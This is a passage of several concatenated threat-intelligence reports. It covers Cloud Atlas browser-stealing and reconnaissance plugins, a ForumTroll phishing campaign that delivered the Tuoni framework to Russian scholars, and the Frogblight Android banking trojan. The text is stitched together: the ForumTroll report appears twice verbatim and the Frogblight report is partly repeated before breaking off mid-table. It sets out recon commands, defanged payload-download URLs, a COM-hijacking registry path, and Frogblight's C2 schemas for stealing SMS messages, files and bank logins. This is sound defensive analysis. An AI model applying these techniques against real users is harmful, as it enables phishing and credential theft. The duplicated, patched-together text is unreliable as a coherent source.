This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.
Part of the function for parsing JSON and sending the extracted data to C2
CloudAtlas::Plugin (InfoCollector)
This plugin is used to collect information about the infected system. The list of commands is presented below.
Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
Command ID 0xFFFFFFF2: Collects information about installed products.
Command ID 0xFFFFFFF3: Collects device information.
Command ID 0xFFFFFFF4: Collects information about logical drives.
Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a
Python script
As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.
During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".
The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.
Victims
According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.
Conclusion
For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.
Indicators of compromise
Note: The indicators in this section are valid at the time of publication.
In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.
In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.
The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.
A well-prepared attack
The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.
Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.
A screenshot of the malicious site elements showing the IP address and initial session date
The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.
Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:
The message that was displayed when we attempted to download the archive
Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.
The message that was displayed when we attempted to download the archive from a non-Windows OS
The malicious archive
The malicious archives downloaded via the email links contained the following:
A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents
When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.
The script that was launched by opening the shortcut
The downloaded payload then performed the following actions:
Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.
The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.
A screenshot of a page from the downloaded report
At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.
The final payload: the Tuoni framework
The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.
As in the previous campaign, the attackers used fastly.net as C2 servers.
Conclusion
The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.
Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.
ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.
In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.
In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.
The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.
A well-prepared attack
The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.
Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.
A screenshot of the malicious site elements showing the IP address and initial session date
The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.
Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:
The message that was displayed when we attempted to download the archive
Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.
The message that was displayed when we attempted to download the archive from a non-Windows OS
The malicious archive
The malicious archives downloaded via the email links contained the following:
A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents
When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.
The script that was launched by opening the shortcut
The downloaded payload then performed the following actions:
Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.
The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.
A screenshot of a page from the downloaded report
At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.
The final payload: the Tuoni framework
The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.
As in the previous campaign, the attackers used fastly.net as C2 servers.
Conclusion
The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.
Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.
ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.
In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.
Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.
Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.
This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.
Technical details
Background
While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.
Initial infection
We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.
While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.
The phishing website distributing Frogblight
We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.
The admin panel interface of the website from which Frogblight is downloaded
Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.
The GitHub repository with the phishing website source code
App features
As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.
After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.
The full list of declared permissions in the app manifest file is shown below:
MANAGE_EXTERNAL_STORAGE
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
READ_SMS
RECEIVE_SMS
SEND_SMS
WRITE_SMS
RECEIVE_BOOT_COMPLETED
INTERNET
QUERY_ALL_PACKAGES
BIND_ACCESSIBILITY_SERVICE
DISABLE_KEYGUARD
FOREGROUND_SERVICE
FOREGROUND_SERVICE_DATA_SYNC
POST_NOTIFICATIONS
QUICKBOOT_POWERON
RECEIVE_MMS
RECEIVE_WAP_PUSH
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
SCHEDULE_EXACT_ALARM
USE_EXACT_ALARM
VIBRATE
WAKE_LOCK
ACCESS_NETWORK_STATE
READ_PHONE_STATE
After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.
The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.
The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.
REST API client method
Description
Parameters
fetchOutbox
Request message content to be sent via SMS or displayed in a notification
device_id: unique Android device ID
ackOutbox
Send the results of processing a message received after calling the API method fetchOutbox
device_id: unique Android device ID
msg_id: message ID
status: message processing status
error: message processing error
getAllPackages
Request the names of app packages whose launch should open a website in WebView to capture user input data
action: same as the API method name
getPackageUrl
Request the website URL that will be opened in WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
getFileCommands
Request commands for file operations
Available commands:
● download: upload the target file to the C2
● generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2
● list: send information about all files in the target directory to the C2
● thumbnail: generate a thumbnail from the target image file and upload it to the C2
device_id: unique Android device ID
pingDevice
Check the C2 connection
device_id: unique Android device ID
reportHijackSuccess
Send captured user input data from the website opened in a WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
data: captured user input data
saveAppList
Send information about the apps installed on the device
device_id: unique Android device ID app_list: a list of apps installed on the device
app_count: a count of apps installed on the device
saveInjection
Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL
device_id: unique Android device ID app_name: the package name of the target app
form_data: captured user input data
savePermission
Unused but presumably needed for sending information about permissions
device_id: unique Android device ID permission_type: permission type
status: permission status
sendSms
Send information about an SMS message from the device
device_id: unique Android device ID sender: the sender’s/recipient’s phone number
message: message text
timestamp: received/sent time
type: message type (inbox/sent)
sendTelegramMessage
Send captured user input data from the webpages opened by Frogblight in WebView
device_id: unique Android device ID
url: website URL
title: website page title
input_type: the type of user input data
input_value: user input data
final_value: user input data with additional information
timestamp: the time of data capture
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updateDevice
Send information about the device
device_id: unique Android device ID
model: device manufacturer and model
android_version: Android version
phone_number: user phone number
battery: current battery level
charging: device charging status
screen_status: screen on/off
ip_address: user IP address
sms_permission: whether SMS permission is granted
file_manager_permission: whether file access permission is granted
updatePermissionStatus
Send information about permissions
device_id: unique Android device ID
permission_type: permission type
status: permission status
timestamp: current time
uploadBatchThumbnails
Upload thumbnails to the C2
device_id: unique Android device ID
thumbnails: thumbnails
uploadFile
Upload a file to the C2
device_id: unique Android device ID
file_path: file path
download_id: the file ID on the C2
The file itself is sent as an unnamed parameter
uploadFileList
Send information about all files in the target directory
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadFileListLog
Send information about all files in the target directory to an endpoint different from uploadFileList
device_id: unique Android device ID
path: directory path
file_list: information about the files in the target directory
uploadThumbnailLog
Unused but presumably needed for uploading thumbnails to an endpoint different from uploadBatchThumbnails
device_id: unique Android device ID
thumbnails: thumbnails
Remote device control, persistence, and protection against deletion
The app includes several classes to provide the threat actor with remote access to the infected device, gain persistence, and protect the malicious app from being deleted.
capcuttup.refresh.AccessibilityAutoClickService
This is intended to prevent removal of the app and to open websites specified by the threat actor in WebView upon target apps startup. It is present in the sample we review, but is no longer in use and deleted in further versions.
capcuttup.refresh.PersistentService
This is a service whose main purpose is to interact with the C2 and to make malicious tasks persistent.
capcuttup.refresh.BootReceiver
This is a broadcast receiver responsible for setting up the persistence mechanisms, such as job scheduling and setting alarms, after device boot completion.
Further development
In later versions, new functionality was added, and some of the more recent Frogblight variants disguised themselves as the Chrome browser. Let’s look at one of the fake Chrome samples (d7d15e02a9cd94c8ab00c043aef55aff).
In this sample, new REST API client methods have been added for interacting with the C2.
REST API client method
Description
Parameters
getContactCommands
Get commands to perform actions with contacts
Available commands:
● ADD_CONTACT: add a contact to the user device
● DELETE_CONTACT: delete a contact from the user device
● EDIT_CONTACT: edit a contact on the user device
device_id: unique Android device ID
sendCallLogs
Send call logs to the C2
device_id: unique Android device ID
call_logs: call log data
sendNotificationLogs
Send notifications log to the C2. Not fully implemented in this sample, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this API method
action: same as the API method name
notifications: notification log data
Also, the threat actor had implemented a custom input method for recording keystrokes to a file using the com.puzzlesnap.quickgame.CustomKeyboardService service.
Another Frogblight sample we observed trying to avoid emulators and using geofencing techniques is 115fbdc312edd4696d6330a62c181f35. In this sample, Frogblight checks the environment (for example, device model) and shuts down if it detects an emulator or if the device is located in the United States.
Part of the code responsible for avoiding Frogblight running in an undesirable environment
Later on, the threat actor decided to start using a web socket instead of the REST API. Let’s see an example of this in one of the recent samples (08a3b1fb2d1abbdbdd60feb8411a12c7). This sample is disguised as an app for receiving social support via an official government webpage. The feature set of this sample is very similar to the previous ones, with several new capabilities added. Commands are transmitted over a web socket using the JSON format. A command template is shown below:
It is also worth noting that some commands in this version share the same meaning but have different structures, and the functionality of certain commands has not been fully implemented yet. This indicates that Frogblight was under active development at the time of our research, and since no its activity was noticed after September, it is possible that the malware is being finalized to a fully operational state before continuing to infect users’ devices. A full list of commands with their parameters and description is shown below:
Command
Description
Parameters
connect
Send a registration message to the C2
–
connection_success
Send various information, such as call logs, to the C2; start pinging the C2 and requesting commands
–
auth_error
Log info about an invalid login key to the Android log system
–
pong_device
Does nothing
–
commands_list
Execute commands
List of commands
sms_send_command
Send an arbitrary SMS message
recipient: message destination
message: message text
msg_id: message ID
bulk_sms_command
Send an arbitrary SMS message to multiple recipients
recipients: message destinations
message: message text
get_contacts_command
Send all contacts to the C2
–
get_app_list_command
Send information about the apps installed on the device to the C2
–
get_files_command
Send information about all files in certain directories to the C2
–
get_call_logs_command
Send call logs to the C2
–
get_notifications_command
Send a notifications log to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
take_screenshot_command
Take a screenshot. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
update_device
Send registration message to the C2
–
new_webview_data
Collect WebView data. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
–
new_injection
Inject code. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
code: injected code
target_app: presumably the package name of the target app
add_contact_command
Add a contact to the user device
name: contact name
phone: contact phone
email: contact email
contact_add
Add a contact to the user device
display_name: contact name
phone_number: contact phone
email: contact email
contact_delete
Delete a contact from the user device
phone_number: contact phone
contact_edit
Edit a contact on the user device
display_name: new contact name
phone_number: contact phone
email: new contact email
contact_list
Send all contacts to the C2
–
file_list
Send information about all files in the specified directory to the C2
path: directory path
file_download
Upload the specified file to the C2
file_path: file path
download_id: an ID that is received with the command and sent back to the C2 along with the requested file. Most likely, this is used to organize data on the C2
file_thumbnail
Generate a thumbnail from the target image file and upload it to the C2
file_path: image file path
file_thumbnails
Generate thumbnails from the image files in the target directory and upload them to the C2
folder_path: directory path
health_check
Send information about the current device state: battery level, screen state, and so on
–
message_list_request
Send all SMS messages to the C2
–
notification_send
Show an arbitrary notification
title: notification title
message: notification message
app_name: notification subtext
package_list_response
Save the target package names
packages: a list of all target package names.
Each list element contains:
package_name: target package name
active: whether targeting is active
delete_contact_command
Delete a contact from the user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
contact_id: contact ID
name: contact name
file_upload_command
Upload specified file to the C2. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_path: file path
file_name: file name
file_download_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: download path
download_file_command
Download file to user device. This is not fully implemented in the sample at hand, and as of the time of writing this report, we hadn’t seen any samples with a full-fledged implementation of this command
file_url: the URL of the file to download
download_path: downloading path
get_permissions_command
Send a registration message to the C2, including info about specific permissions
–
health_check_command
Send information about the current device state, such as battery level, screen state, and so on
–
connect_error
Log info about connection errors to the Android log system
A list of errors
reconnect
Send a registration message to the C2
–
disconnect
Stop pinging the C2 and requesting commands from it
–
Authentication via WebSocket takes place using a special key.
The part of the code responsible for the WebSocket authentication logic
At the IP address to which the WebSocket connection was made, the Frogblight web panel was accessible, which accepted the authentication key mentioned above. Since only samples using the same key as the webpanel login are controllable through it, we suggest that Frogblight might be distributed under the MaaS model.
The interface of the sign-in screen for the Frogblight web panel
Judging by the menu options, the threat actor can sort victims’ devices by certain parameters, such as the presence of banking apps on the device, and send bulk SMS messages and perform other mass actions.
Victims
Since some versions of Frogblight opened the Turkish government webpage to collect user-entered data on Turkish banks’ websites, we assume with high confidence that it is aimed mainly at users from Turkey. Also, based on our telemetry, the majority of users attacked by Frogblight are located in that country.
Attribution
Even though it is not possible to provide an attribution to any known threat actor based on the information available, during our analysis of the Frogblight Android malware and the search for online mentions of the names it uses, we discovered a GitHub profile containing repos with Frogblight, which had also created repos with Coper malware, distributed under the MaaS model. It is possible that this profile belongs to the attackers distributing Coper who have also started distributing Frogblight.
GitHub repositories containing Frogblight and Coper malware
Also, since the comments in the Frogblight code are written in Turkish, we believe that its developers speak this language.
Conclusions
The new Android malware we dubbed “Frogblight” appeared recently and targets mainly users from Turkey. This is an advanced banking Trojan aimed at stealing money. It has already infected real users’ devices, and it doesn’t stop there, adding more and more new features in the new versions that appear. It can be made more dangerous by the fact that it may be used by attackers who already have experience distributing malware. We will continue to monitor its development.
In August 2025, we discovered a campaign targeting individuals in Turkey with a new Android banking Trojan we dubbed “Frogblight”. Initially, the malware was disguised as an app for accessing court case files via an official government webpage. Later, more universal disguises appeared, such as the Chrome browser.
Frogblight can use official government websites as an intermediary step to steal banking credentials. Moreover, it has spyware functionality, such as capabilities to collect SMS messages, a list of installed apps on the device and device filesystem information. It can also send arbitrary SMS messages.
Another interesting characteristic of Frogblight is that we’ve seen it updated with new features throughout September. This may indicate that a feature-rich malware app for Android is being developed, which might be distributed under the MaaS model.
This threat is detected by Kaspersky products as HEUR:Trojan-Banker.AndroidOS.Frogblight.*, HEUR:Trojan-Banker.AndroidOS.Agent.eq, HEUR:Trojan-Banker.AndroidOS.Agent.ep, HEUR:Trojan-Spy.AndroidOS.SmsThief.de.
Technical details
Background
While performing an analysis of mobile malware we receive from various sources, we discovered several samples belonging to a new malware family. Although these samples appeared to be still under development, they already contained a lot of functionality that allowed this family to be classified as a banking Trojan. As new versions of this malware continued to appear, we began monitoring its development. Moreover, we managed to discover its control panel and based on the “fr0g” name shown there, we dubbed this family “Frogblight”.
Initial infection
We believe that smishing is one of the distribution vectors for Frogblight, and that the users had to install the malware themselves. On the internet, we found complaints from Turkish users about phishing SMS messages convincing users that they were involved in a court case and containing links to download malware. versions of Frogblight, including the very first ones, were disguised as an app for accessing court case files via an official government webpage and were named the same as the files for downloading from the links mentioned above.
While looking for online mentions of the names used by the malware, we discovered one of the phishing websites distributing Frogblight, which disguises itself as a website for viewing a court file.
The phishing website distributing Frogblight
We were able to open the admin panel of this website, where it was possible to view statistics on Frogblight malware downloads. However, the counter had not been fully implemented and the threat actor could only view the statistics for their own downloads.
The admin panel interface of the website from which Frogblight is downloaded
Additionally, we found the source code of this phishing website available in a public GitHub repository. Judging by its description, it is adapted for fast deployment to Vercel, a platform for hosting web apps.
The GitHub repository with the phishing website source code
App features
As already mentioned, Frogblight was initially disguised as an app for accessing court case files via an official government webpage. Let’s look at one of the samples using this disguise (9dac23203c12abd60d03e3d26d372253). For analysis, we selected an early sample, but not the first one discovered, in order to demonstrate more complete Frogblight functionality.
After starting, the app prompts the victim to grant permissions to send and read SMS messages, and to read from and write to the device’s storage, allegedly needed to show a court file related to the user.
The full list of declared permissions in the app manifest file is shown below:
MANAGE_EXTERNAL_STORAGE
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
READ_SMS
RECEIVE_SMS
SEND_SMS
WRITE_SMS
RECEIVE_BOOT_COMPLETED
INTERNET
QUERY_ALL_PACKAGES
BIND_ACCESSIBILITY_SERVICE
DISABLE_KEYGUARD
FOREGROUND_SERVICE
FOREGROUND_SERVICE_DATA_SYNC
POST_NOTIFICATIONS
QUICKBOOT_POWERON
RECEIVE_MMS
RECEIVE_WAP_PUSH
REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
SCHEDULE_EXACT_ALARM
USE_EXACT_ALARM
VIBRATE
WAKE_LOCK
ACCESS_NETWORK_STATE
READ_PHONE_STATE
After all required permissions are granted, the malware opens the official government webpage for accessing court case files in WebView, prompting the victim to sign in. There are different sign-in options, one of them via online banking. If the user chooses this method, they are prompted to click on a bank whose online banking app they use and fill out the sign-in form on the bank’s official website. This is what Frogblight is after, so it waits two seconds, then opens the online banking sign-in method regardless of the user’s choice. For each webpage that has finished loading in WebView, Frogblight injects JavaScript code allowing it to capture user input and send it to the C2 via a REST API.
The malware also changes its label to “Davalarım” if the Android version is newer than 12; otherwise it hides the icon.
The app icon before (left) and after launching (right)
In the sample we review in this section, Frogblight uses a REST API for C2 communication, implemented using the Retrofit library. The malicious app pings the C2 server every two seconds in foreground, and if no error is returned, it calls the REST API client methods fetchOutbox and getFileCommands. Other methods are called when specific events occur, for example, after the device screen is turned on, the com.capcuttup.refresh.PersistentService foreground service is launched, or an SMS is received. The full list of all REST API client methods with parameters and descriptions is shown below.
REST API client method
Description
Parameters
fetchOutbox
Request message content to be sent via SMS or displayed in a notification
device_id: unique Android device ID
ackOutbox
Send the results of processing a message received after calling the API method fetchOutbox
device_id: unique Android device ID
msg_id: message ID
status: message processing status
error: message processing error
getAllPackages
Request the names of app packages whose launch should open a website in WebView to capture user input data
action: same as the API method name
getPackageUrl
Request the website URL that will be opened in WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
getFileCommands
Request commands for file operations
Available commands:
● download: upload the target file to the C2
● generate_thumbnails: generate thumbnails from the image files in the target directory and upload them to the C2
● list: send information about all files in the target directory to the C2
● thumbnail: generate a thumbnail from the target image file and upload it to the C2
device_id: unique Android device ID
pingDevice
Check the C2 connection
device_id: unique Android device ID
reportHijackSuccess
Send captured user input data from the website opened in a WebView when the app with the specified package name is launched
action: same as the API method name
package: the package name of the target app
data: captured user input data
saveAppList
Send information about the apps installed on the device
device_id: unique Android device ID app_list: a list of apps installed on the device
app_count: a count of apps installed on the device
saveInjection
Send captured user input data from the website opened in a WebView. If it was not opened following the launch of the target app, the app_name parameter is determined based on the opened URL
device_id: unique Android device ID app_name: the package name of the target app
form_data: captured user input data
savePermission
Unused but presumably needed for sending information about permissions
